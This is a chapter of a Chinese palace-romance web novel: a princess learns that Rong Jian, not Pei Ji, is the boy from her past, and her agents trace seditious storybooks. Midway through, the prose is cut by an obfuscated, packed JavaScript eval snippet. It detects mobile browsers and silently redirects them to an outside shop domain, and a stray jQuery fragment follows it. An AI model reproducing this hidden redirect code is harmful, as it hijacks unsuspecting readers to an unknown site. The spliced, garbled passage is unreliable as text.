看着这张和自己相似的脸,裴寂终是升起一丝不愤。
“烦请让开。”
他看向容简:“容公子借养伤之名赖在殿下身侧,辱殿下声明,有何身份插手我同殿下之事。”
容简闻言讪笑,眼底隐着淡漠不分喜怒,笔挺的脊梁敛着矜贵与疏离。
“我承殿下相护,自该阻她厌之事拦她恶之人。”
他语气淡淡,却句句扎人肺腑。
裴寂指尖发白,下颌绷紧:“容公子真是巧舌如簧。”
容简微微勾起唇角,神情未见厉色,嗓音轻缓从容,
“不及世子放达不拘。”
两人僵持不下,四周的宫人皆不敢言,
华阳行至容简身侧,隐隐站在他身前,敛目看向裴寂。
“麒麟竭早已用尽,在此纠缠亦是枉然,若想治你表妹的腿不如另寻他处。”
“殿下未曾受过伤,可是给了谁?”
裴寂语气带着恳切:“烦请殿下告知。”
华阳未置一语,转身离去。
“殿下,看在我们自小的情分,可否再帮我这一次?”
华阳顿住脚步,
她缓缓转身,神色无愠无怒。
“裴寂,本宫念及你曾在宫外有过援手之恩,才一再容忍。”
裴寂闻然微怔,眼中闪过疑惑。
华阳看着裴寂,未觉手心为何传来一丝凉意。
她垂眸,便见手中多了一物。
容简将玉珏轻轻放置她手心,语声清和“殿下,你不欠他。”
他看着华阳的眼睛一字一顿,眼眸泛着光华,
“在下容简,知常容公的容,居敬行简的简,并非殿下当年所唤之人。”
华阳瞳孔微缩,眼眸中映着容简的影子,同当年月辉下的少年重叠。
她看着那双眼睛,微微抬手抚上他眼睑下隐在睫影中的小痣,眼中有了另一人的影子。
她指尖顿在他眼前,未触及他眼眸便缓缓垂下。
“你一直都知晓?”
容简垂下眼眸看着身前的人:“嗯,我一直知晓,只以为殿下忘了。”
他微微含笑,清透的眼眸泛着光:“那日见殿下第一眼我便识出。”
华阳望着他,也不知眼中映着的是何人,
她嗓音清寒却载着经年的岁月厚重,
“容简,多谢!”
他眉目轻扬,含着温润的笑意:“殿下早已还清,且不必言谢。”他说着当年的话。
一旁的裴寂终是看清什么,原是如此,他双肩微垂,转身离去。
离了公主府,策马缓行在官道,天色将黑,若半月内寻不到血竭……
忽而脑中似想起什么,他勒住缰绳,转身向国公府行去。
公主取药那年正是他出征之时。
……
东窗阁内,风影看着满院的箱笼,望向自家主子,
“世子,您升位分啦?”
他如今已以书童的身份进到府内,不必再偷偷摸摸。
他数着宫人抬来的箱笼:“一,二,三……二十一……世子这足足三十六个呢。”
“公主莫不是在提亲!世子咱只身进京啥也未带,这可如何是好?”
他转身看向自家主子:“属下听闻,就算民间男子入赘也是需回礼的。”
容简闻言神情一愣,面上似有几分无措“是吗?”
言罢,他转身回到屋内,
提起笔修书,须臾将墨迹晾干后用油纸包裹放入信管用蜡密封,递给风影。
“派人送去给父王,务必交到他手上。”
“遵命!”
风影一脸镇重,双手接过。
他定好好看管,命人快马加鞭,世子的位分他定要守住,那什么裴世子拿什么比。
他脑中已是天人打架,待他一决胜负后,捧着书信满面骄矜地抬首跨出了门。
……
华阳寝殿内,她将两块玉玦合上,
“诶!殿下这不是那年丢的那块吗?”浮锦方才没跟在华阳身边,看见忽然齐了的东西一时微讶。
“殿下,命人给容公子的谢礼已送去。”织云从外进来。
“嗯,东窗阁可还有何缺之处?”华阳问道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17689532|207882||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
织云微微摇头,“公子并未说,不过有严管事照看,应当无虞。”
“嗯,下去吧。”
浮锦看着二人的对话,有些听不懂,她一脸丧气,殿下同织云有秘密了。
不及她伤怀,鸾七进屋阻了她的思绪。
“殿下,写那话本的人找到了。”
华阳抬眸,示意她说下去。
“那人是城东的一家小书肆掌柜,平日里并不起眼,属下命人跟着,发现他每月初便会去西柳巷的一家茶肆。”
“起初并无异,可他每月去了茶肆后便会去平康坊,以他店内的生意不足以去那儿花用。”
“后属下调换了他从茶肆打包的茶点,发现里面是这些。”
说罢她从怀中取出一叠书册。
华阳接过,翻开其中一册,正是之前萧舒送来的那些。
初看是写些风月之事的画本,可皆是暗涵妻家势大,掌控夫家之事;亦或是族中夺权,坐上家主之位之人德不配位,真正的继承人惨遭软禁。
前者暗指萧家和后者示意皇帝。
当年七王之乱,她的几位皇伯父除去五叔身有顽疾,七叔尚且年幼,三叔囚禁皇陵,其余皆被肃清。
“背后是谁?”华阳凝眸。
鸾七从袖中取出信件缓缓递给公主。
华阳接过,看了其中的内容,将其放入铜盒中,
“送去给父皇。”
大启开国文武并立,勋贵手握实权,互相掣肘。
皇城并非如表面安稳。
“那王家大郎可有踪迹?”
鸾七摇摇头“还未找到,原以为他会逃往琅琊,可一路皆未发现他踪迹。”
“先查王致的原籍吧。”
“是!”鸾七垂首领命,言之又缓缓抬头看向公主,
“殿下,方才容公子好似送了封信出去,需要拦下来看看吗?”
“殿下,容公子毕竟是北安王世子,若是……”织云语气带着几分犹疑。
华阳看向桌案上的两枚玉玦,长睫半阖淡淡放空,
“有些累了,更衣吧。”